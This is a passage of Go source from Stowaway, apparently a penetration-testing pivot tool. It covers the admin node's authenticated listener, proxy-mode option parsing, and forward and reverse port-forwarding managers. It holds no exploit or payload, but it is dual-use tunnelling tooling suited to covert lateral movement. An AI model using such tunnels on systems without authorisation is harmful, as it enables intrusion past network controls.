utils.CheckIPPort(userOptions.Listen) 160 | if err != nil { 161 | printer.Fail("[*] Error occurred: %s", err.Error()) 162 | os.Exit(0) 163 | } 164 | 165 | listener, err := net.Listen("tcp", listenAddr) 166 | if err != nil { 167 | printer.Fail("[*] Error occurred: %s", err.Error()) 168 | os.Exit(0) 169 | } 170 | 171 | defer func() { 172 | listener.Close() // don't forget close the listener 173 | }() 174 | 175 | var sMessage, rMessage protocol.Message 176 | 177 | // just say hi! 178 | hiMess := &protocol.HIMess{ 179 | GreetingLen: uint16(len("Keep slient")), 180 | Greeting: "Keep slient", 181 | UUIDLen: uint16(len(protocol.ADMIN_UUID)), 182 | UUID: protocol.ADMIN_UUID, 183 | IsAdmin: 1, 184 | IsReconnect: 0, 185 | } 186 | 187 | header := &protocol.Header{ 188 | Sender: protocol.ADMIN_UUID, 189 | Accepter: protocol.TEMP_UUID, 190 | MessageType: protocol.HI, 191 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 192 | Route: protocol.TEMP_ROUTE, 193 | } 194 | 195 | for { 196 | conn, err := listener.Accept() 197 | if err != nil { 198 | printer.Fail("[*] Error occurred: %s\r\n", err.Error()) 199 | continue 200 | } 201 | 202 | if userOptions.TlsEnable { 203 | var tlsConfig *tls.Config 204 | tlsConfig, err = transport.NewServerTLSConfig() 205 | if err != nil { 206 | printer.Fail("[*] Error occured: %s", err.Error()) 207 | conn.Close() 208 | continue 209 | } 210 | conn = transport.WrapTLSServerConn(conn, tlsConfig) 211 | // As we have already used TLS, we don't need to use aes inside 212 | // Set userOptions.Secret as null to disable aes 213 | userOptions.Secret = "" 214 | } 215 | 216 | param := new(protocol.NegParam) 217 | param.Conn = conn 218 | proto := protocol.NewDownProto(param) 219 | proto.SNegotiate() 220 | 221 | if err := share.PassivePreAuth(conn); err != nil { 222 | printer.Fail("[*] Error occurred: %s\r\n", err.Error()) 223 | conn.Close() 224 | continue 225 | } 226 | 227 | rMessage = protocol.NewDownMsg(conn, userOptions.Secret, protocol.ADMIN_UUID) 228 | fHeader, fMessage, err := protocol.DestructMessage(rMessage) 229 | 230 | if err != nil { 231 | printer.Fail("[*] Fail to set connection from %s, Error: %s\r\n", conn.RemoteAddr().String(), err.Error()) 232 | conn.Close() 233 | continue 234 | } 235 | 236 | if fHeader.MessageType == protocol.HI { 237 | mmess := fMessage.(*protocol.HIMess) 238 | if mmess.Greeting == "Shhh..." && mmess.IsAdmin == 0 { 239 | sMessage = protocol.NewDownMsg(conn, userOptions.Secret, protocol.ADMIN_UUID) 240 | protocol.ConstructMessage(sMessage, header, hiMess, false) 241 | sMessage.SendMessage() 242 | 243 | if mmess.IsReconnect == 0 { 244 | node := topology.NewNode(dispatchUUID(conn, userOptions.Secret), conn.RemoteAddr().String()) 245 | task := &topology.TopoTask{ 246 | Mode: topology.ADDNODE, 247 | Target: node, 248 | ParentUUID: protocol.TEMP_UUID, 249 | IsFirst: true, 250 | } 251 | topo.TaskChan <- task 252 | 253 | <-topo.ResultChan 254 | 255 | printer.Success("[*] Connection from node %s is set up successfully! Node id is 0\r\n", conn.RemoteAddr().String()) 256 | } else { 257 | node := topology.NewNode(mmess.UUID, conn.RemoteAddr().String()) 258 | task := &topology.TopoTask{ 259 | Mode: topology.ADDNODE, 260 | Target: node, 261 | ParentUUID: protocol.TEMP_UUID, 262 | IsFirst: true, 263 | } 264 | topo.TaskChan <- task 265 | 266 | <-topo.ResultChan 267 | 268 | printer.Success("[*] Connection from node %s is set up successfully! Node id is 0\r\n", conn.RemoteAddr().String()) 269 | } 270 | 271 | return conn 272 | } 273 | } 274 | 275 | conn.Close() 276 | printer.Fail("[*] Incoming connection seems illegal!") 277 | } 278 | } 279 | -------------------------------------------------------------------------------- /admin/initial/parser.go: -------------------------------------------------------------------------------- 1 | //go:build !windows 2 | 3 | package initial 4 | 5 | import ( 6 | "flag" 7 | "fmt" 8 | "net" 9 | "os" 10 | "strings" 11 | 12 | "Stowaway/admin/printer" 13 | 14 | "github.com/nsf/termbox-go" 15 | ) 16 | 17 | const ( 18 | NORMAL_ACTIVE = iota 19 | NORMAL_PASSIVE 20 | SOCKS5_PROXY_ACTIVE 21 | HTTP_PROXY_ACTIVE 22 | ) 23 | 24 | type Options struct { 25 | Mode uint8 26 | Secret string 27 | Listen string 28 | Connect string 29 | Socks5Proxy string 30 | Socks5ProxyU string 31 | Socks5ProxyP string 32 | HttpProxy string 33 | Downstream string 34 | Domain string 35 | TlsEnable bool 36 | Heartbeat bool 37 | } 38 | 39 | var args *Options 40 | 41 | func init() { 42 | args = new(Options) 43 | 44 | flag.StringVar(&args.Secret, "s", "", "Communication secret") 45 | flag.StringVar(&args.Listen, "l", "", "Listen port") 46 | flag.StringVar(&args.Connect, "c", "", "The node address when you actively connect to it") 47 | flag.StringVar(&args.Socks5Proxy, "socks5-proxy", "", "The socks5 server ip:port you want to use") 48 | flag.StringVar(&args.Socks5ProxyU, "socks5-proxyu", "", "socks5 username") 49 | flag.StringVar(&args.Socks5ProxyP, "socks5-proxyp", "", "socks5 password") 50 | flag.StringVar(&args.HttpProxy, "http-proxy", "", "The http proxy server ip:port you want to use") 51 | flag.StringVar(&args.Downstream, "down", "raw", "Downstream data type you want to use") 52 | flag.StringVar(&args.Domain, "domain", "", "Domain name for TLS SNI/WS") 53 | flag.BoolVar(&args.TlsEnable, "tls-enable", false, "Encrypt connection by TLS") 54 | flag.BoolVar(&args.Heartbeat, "heartbeat", false, "Send heartbeat packet to first agent") 55 | 56 | flag.Usage = newUsage 57 | } 58 | 59 | func newUsage() { 60 | termbox.Close() 61 | 62 | fmt.Fprintf(os.Stderr, ` 63 | Usages: 64 | >> ./stowaway_admin -l -s [secret] 65 | >> ./stowaway_admin -c -s [secret] 66 | >> ./stowaway_admin -c -s [secret] --socks5-proxy --socks5-proxyu [username] --socks5-proxyp [password] 67 | `) 68 | flag.PrintDefaults() 69 | } 70 | 71 | // ParseOptions Parsing user's options 72 | func ParseOptions() *Options { 73 | flag.Parse() 74 | 75 | if args.Listen != "" && args.Connect == "" && args.Socks5Proxy == "" && args.HttpProxy == "" { // ./stowaway_admin -l -s [secret] 76 | args.Mode = NORMAL_PASSIVE 77 | printer.Warning("[*] Starting admin node on port %s\r\n", args.Listen) 78 | } else if args.Connect != "" && args.Listen == "" && args.Socks5Proxy == "" && args.HttpProxy == "" { // ./stowaway_admin -c -s [secret] 79 | args.Mode = NORMAL_ACTIVE 80 | printer.Warning("[*] Trying to connect node actively") 81 | } else if args.Connect != "" && args.Listen == "" && args.Socks5Proxy != "" && args.HttpProxy == "" { // ./stowaway_admin -c -s [secret] --proxy --proxyu [username] --proxyp [password] 82 | args.Mode = SOCKS5_PROXY_ACTIVE 83 | printer.Warning("[*] Trying to connect node actively via socks5 proxy %s\r\n", args.Socks5Proxy) 84 | } else if args.Connect != "" && args.Listen == "" && args.Socks5Proxy == "" && args.HttpProxy != "" { 85 | args.Mode = HTTP_PROXY_ACTIVE 86 | printer.Warning("[*] Trying to connect node actively via http proxy %s\r\n", args.HttpProxy) 87 | } else { // Wrong format 88 | flag.Usage() 89 | os.Exit(0) 90 | } 91 | 92 | if args.Domain == "" && args.Connect != "" { 93 | addrSlice := strings.SplitN(args.Connect, ":", 2) 94 | args.Domain = addrSlice[0] 95 | } 96 | 97 | if err := checkOptions(args); err != nil { 98 | termbox.Close() 99 | printer.Fail("[*] Options err: %s\r\n", err.Error()) 100 | os.Exit(0) 101 | } 102 | 103 | return args 104 | } 105 | 106 | func checkOptions(option *Options) error { 107 | var err error 108 | 109 | if args.Connect != "" { 110 | _, err = net.ResolveTCPAddr("", option.Connect) 111 | } 112 | 113 | if args.Socks5Proxy != "" { 114 | _, err = net.ResolveTCPAddr("", option.Socks5Proxy) 115 | } 116 | 117 | if args.HttpProxy != "" { 118 | _, err = net.ResolveTCPAddr("", option.HttpProxy) 119 | } 120 | 121 | return err 122 | } 123 | -------------------------------------------------------------------------------- /admin/initial/parser_win.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package initial 4 | 5 | import ( 6 | "flag" 7 | "fmt" 8 | "net" 9 | "os" 10 | "strings" 11 | 12 | "Stowaway/admin/printer" 13 | ) 14 | 15 | const ( 16 | NORMAL_ACTIVE = iota 17 | NORMAL_PASSIVE 18 | SOCKS5_PROXY_ACTIVE 19 | HTTP_PROXY_ACTIVE 20 | ) 21 | 22 | type Options struct { 23 | Mode uint8 24 | Secret string 25 | Listen string 26 | Connect string 27 | Socks5Proxy string 28 | Socks5ProxyU string 29 | Socks5ProxyP string 30 | HttpProxy string 31 | Downstream string 32 | Domain string 33 | TlsEnable bool 34 | Heartbeat bool 35 | } 36 | 37 | var args *Options 38 | 39 | func init() { 40 | args = new(Options) 41 | 42 | flag.StringVar(&args.Secret, "s", "", "Communication secret") 43 | flag.StringVar(&args.Listen, "l", "", "Listen port") 44 | flag.StringVar(&args.Connect, "c", "", "The node address when you actively connect to it") 45 | flag.StringVar(&args.Socks5Proxy, "socks5-proxy", "", "The socks5 server ip:port you want to use") 46 | flag.StringVar(&args.Socks5ProxyU, "socks5-proxyu", "", "socks5 username") 47 | flag.StringVar(&args.Socks5ProxyP, "socks5-proxyp", "", "socks5 password") 48 | flag.StringVar(&args.HttpProxy, "http-proxy", "", "The http proxy server ip:port you want to use") 49 | flag.StringVar(&args.Downstream, "down", "raw", "Downstream data type you want to use") 50 | flag.StringVar(&args.Domain, "domain", "", "Domain name for TLS SNI/WS") 51 | flag.BoolVar(&args.TlsEnable, "tls-enable", false, "Encrypt connection by TLS") 52 | flag.BoolVar(&args.Heartbeat, "heartbeat", false, "Send heartbeat packet to first agent") 53 | 54 | flag.Usage = newUsage 55 | } 56 | 57 | func newUsage() { 58 | fmt.Fprintf(os.Stderr, ` 59 | Usages: 60 | >> ./stowaway_admin -l -s [secret] 61 | >> ./stowaway_admin -c -s [secret] 62 | >> ./stowaway_admin -c -s [secret] --socks5-proxy --socks5-proxyu [username] --socks5-proxyp [password] 63 | `) 64 | flag.PrintDefaults() 65 | } 66 | 67 | // ParseOptions Parsing user's options 68 | func ParseOptions() *Options { 69 | flag.Parse() 70 | 71 | if args.Listen != "" && args.Connect == "" && args.Socks5Proxy == "" && args.HttpProxy == "" { // ./stowaway_admin -l -s [secret] 72 | args.Mode = NORMAL_PASSIVE 73 | printer.Warning("[*] Starting admin node on port %s\r\n", args.Listen) 74 | } else if args.Connect != "" && args.Listen == "" && args.Socks5Proxy == "" && args.HttpProxy == "" { // ./stowaway_admin -c -s [secret] 75 | args.Mode = NORMAL_ACTIVE 76 | printer.Warning("[*] Trying to connect node actively") 77 | } else if args.Connect != "" && args.Listen == "" && args.Socks5Proxy != "" && args.HttpProxy == "" { // ./stowaway_admin -c -s [secret] --proxy --proxyu [username] --proxyp [password] 78 | args.Mode = SOCKS5_PROXY_ACTIVE 79 | printer.Warning("[*] Trying to connect node actively via socks5 proxy %s\r\n", args.Socks5Proxy) 80 | } else if args.Connect != "" && args.Listen == "" && args.Socks5Proxy == "" && args.HttpProxy != "" { 81 | args.Mode = HTTP_PROXY_ACTIVE 82 | printer.Warning("[*] Trying to connect node actively via http proxy %s\r\n", args.HttpProxy) 83 | } else { // Wrong format 84 | flag.Usage() 85 | os.Exit(0) 86 | } 87 | 88 | if args.Domain == "" && args.Connect != "" { 89 | addrSlice := strings.SplitN(args.Connect, ":", 2) 90 | args.Domain = addrSlice[0] 91 | } 92 | 93 | if err := checkOptions(args); err != nil { 94 | printer.Fail("[*] Options err: %s\r\n", err.Error()) 95 | os.Exit(0) 96 | } 97 | 98 | return args 99 | } 100 | 101 | func checkOptions(option *Options) error { 102 | var err error 103 | 104 | if args.Connect != "" { 105 | _, err = net.ResolveTCPAddr("", option.Connect) 106 | } 107 | 108 | if args.Socks5Proxy != "" { 109 | _, err = net.ResolveTCPAddr("", option.Socks5Proxy) 110 | } 111 | 112 | if args.HttpProxy != "" { 113 | _, err = net.ResolveTCPAddr("", option.HttpProxy) 114 | } 115 | 116 | return err 117 | } 118 | -------------------------------------------------------------------------------- /admin/manager/backward.go: -------------------------------------------------------------------------------- 1 | package manager 2 | 3 | const ( 4 | B_NEWBACKWARD = iota 5 | B_GETNEWSEQ 6 | B_ADDCONN 7 | B_CHECKBACKWARD 8 | B_GETDATACHAN 9 | B_GETDATACHAN_WITHOUTUUID 10 | B_CLOSETCP 11 | B_GETBACKWARDINFO 12 | B_GETSTOPRPORT 13 | B_CLOSESINGLE 14 | B_CLOSESINGLEALL 15 | B_FORCESHUTDOWN 16 | ) 17 | 18 | type backwardManager struct { 19 | backwardSeq uint64 20 | backwardSeqMap map[uint64]*bwSeqRelationship // map[seq](port+uuid) just for accelerate the speed of searching detail only by seq 21 | backwardMap map[string]map[string]*backward // map[uuid][rport]backward status 22 | backwardReadyDel map[int]string 23 | 24 | BackwardMessChan chan interface{} 25 | BackwardReady chan bool 26 | 27 | TaskChan chan *BackwardTask 28 | ResultChan chan *backwardResult 29 | } 30 | 31 | type BackwardTask struct { 32 | Mode int 33 | UUID string // node uuid 34 | Seq uint64 // seq 35 | 36 | LPort string 37 | RPort string 38 | Choice int 39 | } 40 | 41 | type backwardResult struct { 42 | OK bool 43 | 44 | DataChan chan []byte 45 | BackwardSeq uint64 46 | BackwardInfo []*backwardInfo 47 | RPort string 48 | } 49 | 50 | type backward struct { 51 | localPort string 52 | 53 | backwardStatusMap map[uint64]*backwardStatus 54 | } 55 | 56 | type backwardStatus struct { 57 | dataChan chan []byte 58 | } 59 | 60 | type bwSeqRelationship struct { 61 | uuid string 62 | rPort string 63 | } 64 | 65 | type backwardInfo struct { 66 | Seq int 67 | LPort string 68 | RPort string 69 | ActiveNum int 70 | } 71 | 72 | func newBackwardManager() *backwardManager { 73 | manager := new(backwardManager) 74 | 75 | manager.backwardMap = make(map[string]map[string]*backward) 76 | manager.backwardSeqMap = make(map[uint64]*bwSeqRelationship) 77 | manager.BackwardMessChan = make(chan interface{}, 5) 78 | 79 | manager.BackwardReady = make(chan bool) 80 | manager.TaskChan = make(chan *BackwardTask) 81 | manager.ResultChan = make(chan *backwardResult) 82 | 83 | return manager 84 | } 85 | 86 | func (manager *backwardManager) run() { 87 | for { 88 | task := <-manager.TaskChan 89 | 90 | switch task.Mode { 91 | case B_NEWBACKWARD: 92 | manager.newBackward(task) 93 | case B_GETNEWSEQ: 94 | manager.getNewSeq(task) 95 | case B_ADDCONN: 96 | manager.addConn(task) 97 | case B_CHECKBACKWARD: 98 | manager.checkBackward(task) 99 | case B_GETDATACHAN: 100 | manager.getDataChan(task) 101 | case B_GETDATACHAN_WITHOUTUUID: 102 | manager.getDatachanWithoutUUID(task) 103 | case B_CLOSETCP: 104 | manager.closeTCP(task) 105 | case B_GETBACKWARDINFO: 106 | manager.getBackwardInfo(task) 107 | case B_GETSTOPRPORT: 108 | manager.getStopRPort(task) 109 | case B_CLOSESINGLE: 110 | manager.closeSingle(task) 111 | case B_CLOSESINGLEALL: 112 | manager.closeSingleAll(task) 113 | case B_FORCESHUTDOWN: 114 | manager.forceShutdown(task) 115 | } 116 | } 117 | } 118 | 119 | // register a brand new backforward 120 | // 2022.7.19 Fix nil pointer bug,thx to @zyylhn 121 | func (manager *backwardManager) newBackward(task *BackwardTask) { 122 | if _, ok := manager.backwardMap[task.UUID]; !ok { 123 | manager.backwardMap[task.UUID] = make(map[string]*backward) 124 | } 125 | 126 | manager.backwardMap[task.UUID][task.RPort] = new(backward) 127 | manager.backwardMap[task.UUID][task.RPort].localPort = task.LPort 128 | manager.backwardMap[task.UUID][task.RPort].backwardStatusMap = make(map[uint64]*backwardStatus) 129 | 130 | manager.ResultChan <- &backwardResult{OK: true} 131 | } 132 | 133 | func (manager *backwardManager) getNewSeq(task *BackwardTask) { 134 | manager.backwardSeqMap[manager.backwardSeq] = &bwSeqRelationship{rPort: task.RPort, uuid: task.UUID} 135 | manager.ResultChan <- &backwardResult{BackwardSeq: manager.backwardSeq} 136 | manager.backwardSeq++ 137 | } 138 | 139 | func (manager *backwardManager) addConn(task *BackwardTask) { 140 | if _, ok := manager.backwardSeqMap[task.Seq]; !ok { 141 | manager.ResultChan <- &backwardResult{OK: false} 142 | return 143 | } 144 | 145 | manager.backwardMap[task.UUID][task.RPort].backwardStatusMap[task.Seq] = new(backwardStatus) 146 | manager.backwardMap[task.UUID][task.RPort].backwardStatusMap[task.Seq].dataChan = make(chan []byte, 5) 147 | manager.ResultChan <- &backwardResult{OK: true} 148 | } 149 | 150 | func (manager *backwardManager) checkBackward(task *BackwardTask) { 151 | if _, ok := manager.backwardSeqMap[task.Seq]; !ok { 152 | manager.ResultChan <- &backwardResult{OK: false} 153 | return 154 | } 155 | 156 | if _, ok := manager.backwardMap[task.UUID][task.RPort].backwardStatusMap[task.Seq]; ok { 157 | manager.ResultChan <- &backwardResult{OK: true} 158 | } else { 159 | manager.ResultChan <- &backwardResult{OK: false} 160 | } 161 | 162 | } 163 | 164 | func (manager *backwardManager) getDataChan(task *BackwardTask) { 165 | if _, ok := manager.backwardSeqMap[task.Seq]; !ok { 166 | manager.ResultChan <- &backwardResult{OK: false} 167 | return 168 | } 169 | 170 | if _, ok := manager.backwardMap[task.UUID][task.RPort].backwardStatusMap[task.Seq]; ok { 171 | manager.ResultChan <- &backwardResult{ 172 | OK: true, 173 | DataChan: manager.backwardMap[task.UUID][task.RPort].backwardStatusMap[task.Seq].dataChan, 174 | } 175 | } else { 176 | manager.ResultChan <- &backwardResult{OK: false} 177 | } 178 | 179 | } 180 | 181 | func (manager *backwardManager) getDatachanWithoutUUID(task *BackwardTask) { 182 | if _, ok := manager.backwardSeqMap[task.Seq]; !ok { 183 | manager.ResultChan <- &backwardResult{OK: false} 184 | return 185 | } 186 | 187 | uuid := manager.backwardSeqMap[task.Seq].uuid 188 | rPort := manager.backwardSeqMap[task.Seq].rPort 189 | 190 | manager.ResultChan <- &backwardResult{ 191 | OK: true, 192 | DataChan: manager.backwardMap[uuid][rPort].backwardStatusMap[task.Seq].dataChan, 193 | } 194 | } 195 | 196 | func (manager *backwardManager) closeTCP(task *BackwardTask) { 197 | if _, ok := manager.backwardSeqMap[task.Seq]; !ok { 198 | return 199 | } 200 | 201 | uuid := manager.backwardSeqMap[task.Seq].uuid 202 | rPort := manager.backwardSeqMap[task.Seq].rPort 203 | 204 | close(manager.backwardMap[uuid][rPort].backwardStatusMap[task.Seq].dataChan) 205 | 206 | delete(manager.backwardMap[uuid][rPort].backwardStatusMap, task.Seq) 207 | } 208 | 209 | func (manager *backwardManager) getBackwardInfo(task *BackwardTask) { 210 | manager.backwardReadyDel = make(map[int]string) 211 | 212 | var result []*backwardInfo 213 | seq := 1 214 | 215 | if _, ok := manager.backwardMap[task.UUID]; ok { 216 | for port, info := range manager.backwardMap[task.UUID] { 217 | manager.backwardReadyDel[seq] = port 218 | result = append(result, &backwardInfo{Seq: seq, LPort: info.localPort, RPort: port, ActiveNum: len(info.backwardStatusMap)}) 219 | seq++ 220 | } 221 | manager.ResultChan <- &backwardResult{ 222 | OK: true, 223 | BackwardInfo: result, 224 | } 225 | } else { 226 | manager.ResultChan <- &backwardResult{ 227 | OK: false, 228 | BackwardInfo: result, 229 | } 230 | } 231 | } 232 | 233 | func (manager *backwardManager) getStopRPort(task *BackwardTask) { 234 | manager.ResultChan <- &backwardResult{RPort: manager.backwardReadyDel[task.Choice]} 235 | } 236 | 237 | func (manager *backwardManager) closeSingle(task *BackwardTask) { 238 | rPort := task.RPort 239 | 240 | delete(manager.backwardMap[task.UUID], rPort) 241 | 242 | for seq, relationship := range manager.backwardSeqMap { 243 | if relationship.uuid == task.UUID && relationship.rPort == rPort { 244 | delete(manager.backwardSeqMap, seq) 245 | } 246 | } 247 | 248 | if len(manager.backwardMap[task.UUID]) == 0 { 249 | delete(manager.backwardMap, task.UUID) 250 | } 251 | 252 | manager.ResultChan <- &backwardResult{OK: true} 253 | } 254 | 255 | func (manager *backwardManager) closeSingleAll(task *BackwardTask) { 256 | for rPort := range manager.backwardMap[task.UUID] { 257 | delete(manager.backwardMap[task.UUID], rPort) 258 | } 259 | 260 | for seq, relationship := range manager.backwardSeqMap { 261 | if relationship.uuid == task.UUID { 262 | delete(manager.backwardSeqMap, seq) 263 | } 264 | } 265 | 266 | delete(manager.backwardMap, task.UUID) 267 | 268 | manager.ResultChan <- &backwardResult{OK: true} 269 | } 270 | 271 | func (manager *backwardManager) forceShutdown(task *BackwardTask) { 272 | if _, ok := manager.backwardMap[task.UUID]; ok { 273 | for rPort := range manager.backwardMap[task.UUID] { 274 | for seq, status := range manager.backwardMap[task.UUID][rPort].backwardStatusMap { 275 | close(status.dataChan) 276 | delete(manager.backwardMap[task.UUID][rPort].backwardStatusMap, seq) 277 | } 278 | delete(manager.backwardMap[task.UUID], rPort) 279 | } 280 | 281 | for seq, relationship := range manager.backwardSeqMap { 282 | if relationship.uuid == task.UUID { 283 | delete(manager.backwardSeqMap, seq) 284 | } 285 | } 286 | 287 | delete(manager.backwardMap, task.UUID) 288 | } 289 | 290 | manager.ResultChan <- &backwardResult{OK: true} 291 | } 292 | -------------------------------------------------------------------------------- /admin/manager/forward.go: -------------------------------------------------------------------------------- 1 | /* 2 | * @Author: ph4ntom 3 | * @Date: 2021-04-02 16:01:58 4 | * @LastEditors: ph4ntom 5 | * @LastEditTime: 2021-04-02 18:46:53 6 | */ 7 | package manager 8 | 9 | import ( 10 | "net" 11 | ) 12 | 13 | const ( 14 | F_GETNEWSEQ = iota 15 | F_NEWFORWARD 16 | F_ADDCONN 17 | F_GETDATACHAN 18 | F_GETDATACHAN_WITHOUTUUID 19 | F_GETFORWARDINFO 20 | F_CLOSETCP 21 | F_CLOSESINGLE 22 | F_CLOSESINGLEALL 23 | F_FORCESHUTDOWN 24 | ) 25 | 26 | type forwardManager struct { 27 | forwardSeq uint64 28 | forwardSeqMap map[uint64]*fwSeqRelationship // map[seq](port+uuid) just for accelerate the speed of searching detail only by seq 29 | forwardMap map[string]map[string]*forward // map[uuid]map[port]*forward's detail record forward status 30 | forwardReadyDel map[int]string // map[user's option]port(no need to initial it in newForwardManager()) 31 | 32 | ForwardMessChan chan interface{} 33 | ForwardReady chan bool 34 | 35 | TaskChan chan *ForwardTask 36 | ResultChan chan *forwardResult 37 | Done chan bool 38 | } 39 | 40 | type ForwardTask struct { 41 | Mode int 42 | UUID string // node uuid 43 | Seq uint64 // seq 44 | 45 | Port string 46 | RemoteAddr string 47 | CloseTarget int 48 | Listener net.Listener 49 | } 50 | 51 | type forwardResult struct { 52 | OK bool 53 | 54 | ForwardSeq uint64 55 | DataChan chan []byte 56 | ForwardInfo []*forwardInfo 57 | } 58 | 59 | type forward struct { 60 | remoteAddr string 61 | listener net.Listener 62 | 63 | forwardStatusMap map[uint64]*forwardStatus 64 | } 65 | 66 | type forwardStatus struct { 67 | dataChan chan []byte 68 | } 69 | 70 | type fwSeqRelationship struct { 71 | uuid string 72 | port string 73 | } 74 | 75 | type forwardInfo struct { 76 | Seq int 77 | Laddr string 78 | Raddr string 79 | ActiveNum int 80 | } 81 | 82 | func newForwardManager() *forwardManager { 83 | manager := new(forwardManager) 84 | 85 | manager.forwardMap = make(map[string]map[string]*forward) 86 | manager.forwardSeqMap = make(map[uint64]*fwSeqRelationship) 87 | manager.ForwardMessChan = make(chan interface{}, 5) 88 | manager.ForwardReady = make(chan bool) 89 | 90 | manager.TaskChan = make(chan *ForwardTask) 91 | manager.ResultChan = make(chan *forwardResult) 92 | manager.Done = make(chan bool) 93 | 94 | return manager 95 | } 96 | 97 | func (manager *forwardManager) run() { 98 | for { 99 | task := <-manager.TaskChan 100 | 101 | switch task.Mode { 102 | case F_NEWFORWARD: 103 | manager.newForward(task) 104 | case F_GETNEWSEQ: 105 | manager.getNewSeq(task) 106 | case F_ADDCONN: 107 | manager.addConn(task) 108 | case F_GETDATACHAN: 109 | manager.getDatachan(task) 110 | case F_GETDATACHAN_WITHOUTUUID: 111 | manager.getDatachanWithoutUUID(task) 112 | <-manager.Done 113 | case F_GETFORWARDINFO: 114 | manager.getForwardInfo(task) 115 | case F_CLOSETCP: 116 | manager.closeTCP(task) 117 | case F_CLOSESINGLE: 118 | manager.closeSingle(task) 119 | case F_CLOSESINGLEALL: 120 | manager.closeSingleAll(task) 121 | case F_FORCESHUTDOWN: 122 | manager.forceShutdown(task) 123 | } 124 | } 125 | } 126 | 127 | // 2022.7.19 Fix nil pointer bug,thx to @zyylhn 128 | func (manager *forwardManager) newForward(task *ForwardTask) { 129 | if _, ok := manager.forwardMap[task.UUID]; !ok { 130 | manager.forwardMap[task.UUID] = make(map[string]*forward) 131 | } 132 | 133 | manager.forwardMap[task.UUID][task.Port] = new(forward) 134 | manager.forwardMap[task.UUID][task.Port].listener = task.Listener 135 | manager.forwardMap[task.UUID][task.Port].remoteAddr = task.RemoteAddr 136 | manager.forwardMap[task.UUID][task.Port].forwardStatusMap = make(map[uint64]*forwardStatus) 137 | 138 | manager.ResultChan <- &forwardResult{OK: true} 139 | } 140 | 141 | func (manager *forwardManager) getNewSeq(task *ForwardTask) { 142 | manager.forwardSeqMap[manager.forwardSeq] = &fwSeqRelationship{uuid: task.UUID, port: task.Port} 143 | manager.ResultChan <- &forwardResult{ForwardSeq: manager.forwardSeq} 144 | manager.forwardSeq++ 145 | } 146 | 147 | func (manager *forwardManager) addConn(task *ForwardTask) { 148 | if _, ok := manager.forwardSeqMap[task.Seq]; !ok { 149 | manager.ResultChan <- &forwardResult{OK: false} 150 | return 151 | } 152 | 153 | manager.forwardMap[task.UUID][task.Port].forwardStatusMap[task.Seq] = new(forwardStatus) 154 | manager.forwardMap[task.UUID][task.Port].forwardStatusMap[task.Seq].dataChan = make(chan []byte, 5) 155 | manager.ResultChan <- &forwardResult{OK: true} 156 | } 157 | 158 | func (manager *forwardManager) getDatachan(task *ForwardTask) { 159 | if _, ok := manager.forwardSeqMap[task.Seq]; !ok { 160 | manager.ResultChan <- &forwardResult{OK: false} 161 | return 162 | } 163 | 164 | if _, ok := manager.forwardMap[task.UUID][task.Port].forwardStatusMap[task.Seq]; ok { // need to check ,because you will never know when fin come 165 | manager.ResultChan <- &forwardResult{ 166 | OK: true, 167 | DataChan: manager.forwardMap[task.UUID][task.Port].forwardStatusMap[task.Seq].dataChan, 168 | } 169 | } else { 170 | manager.ResultChan <- &forwardResult{OK: false} 171 | } 172 | } 173 | 174 | func (manager *forwardManager) getDatachanWithoutUUID(task *ForwardTask) { 175 | if _, ok := manager.forwardSeqMap[task.Seq]; !ok { 176 | manager.ResultChan <- &forwardResult{OK: false} 177 | return 178 | } 179 | 180 | uuid := manager.forwardSeqMap[task.Seq].uuid 181 | port := manager.forwardSeqMap[task.Seq].port 182 | 183 | manager.ResultChan <- &forwardResult{ // no need to chek forwardStatusMap[task.Seq] like above,because no more data after fin 184 | OK: true, 185 | DataChan: manager.forwardMap[uuid][port].forwardStatusMap[task.Seq].dataChan, 186 | } 187 | } 188 | 189 | func (manager *forwardManager) getForwardInfo(task *ForwardTask) { 190 | manager.forwardReadyDel = make(map[int]string) 191 | 192 | var result []*forwardInfo 193 | seq := 1 194 | 195 | if _, ok := manager.forwardMap[task.UUID]; ok { 196 | for port, info := range manager.forwardMap[task.UUID] { 197 | manager.forwardReadyDel[seq] = port 198 | result = append(result, &forwardInfo{Seq: seq, Laddr: info.listener.Addr().String(), Raddr: info.remoteAddr, ActiveNum: len(info.forwardStatusMap)}) 199 | seq++ 200 | } 201 | manager.ResultChan <- &forwardResult{ 202 | OK: true, 203 | ForwardInfo: result, 204 | } 205 | } else { 206 | manager.ResultChan <- &forwardResult{ 207 | OK: false, 208 | ForwardInfo: result, 209 | } 210 | } 211 | } 212 | 213 | func (manager *forwardManager) closeTCP(task *ForwardTask) { 214 | if _, ok := manager.forwardSeqMap[task.Seq]; !ok { 215 | return 216 | } 217 | 218 | uuid := manager.forwardSeqMap[task.Seq].uuid 219 | port := manager.forwardSeqMap[task.Seq].port 220 | 221 | close(manager.forwardMap[uuid][port].forwardStatusMap[task.Seq].dataChan) 222 | 223 | delete(manager.forwardMap[uuid][port].forwardStatusMap, task.Seq) 224 | } 225 | 226 | func (manager *forwardManager) closeSingle(task *ForwardTask) { 227 | // find port that user want to del 228 | port := manager.forwardReadyDel[task.CloseTarget] 229 | // close corresponding listener 230 | manager.forwardMap[task.UUID][port].listener.Close() 231 | // clear every single connection's resources 232 | for seq, status := range manager.forwardMap[task.UUID][port].forwardStatusMap { 233 | close(status.dataChan) 234 | delete(manager.forwardMap[task.UUID][port].forwardStatusMap, seq) 235 | } 236 | // delete the target port 237 | delete(manager.forwardMap[task.UUID], port) 238 | // clear the seqmap that match relationship.uuid == task.UUID && relationship.port == port 239 | for seq, relationship := range manager.forwardSeqMap { 240 | if relationship.uuid == task.UUID && relationship.port == port { 241 | delete(manager.forwardSeqMap, seq) 242 | } 243 | } 244 | // if no other forward services running on current node,delete node from manager.forwardMap 245 | if len(manager.forwardMap[task.UUID]) == 0 { 246 | delete(manager.forwardMap, task.UUID) 247 | } 248 | 249 | manager.ResultChan <- &forwardResult{OK: true} 250 | } 251 | 252 | func (manager *forwardManager) closeSingleAll(task *ForwardTask) { 253 | for port, forward := range manager.forwardMap[task.UUID] { 254 | forward.listener.Close() 255 | 256 | for seq, status := range forward.forwardStatusMap { 257 | close(status.dataChan) 258 | delete(forward.forwardStatusMap, seq) 259 | } 260 | 261 | delete(manager.forwardMap[task.UUID], port) 262 | } 263 | 264 | for seq, relationship := range manager.forwardSeqMap { 265 | if relationship.uuid == task.UUID { 266 | delete(manager.forwardSeqMap, seq) 267 | } 268 | } 269 | 270 | delete(manager.forwardMap, task.UUID) 271 | 272 | 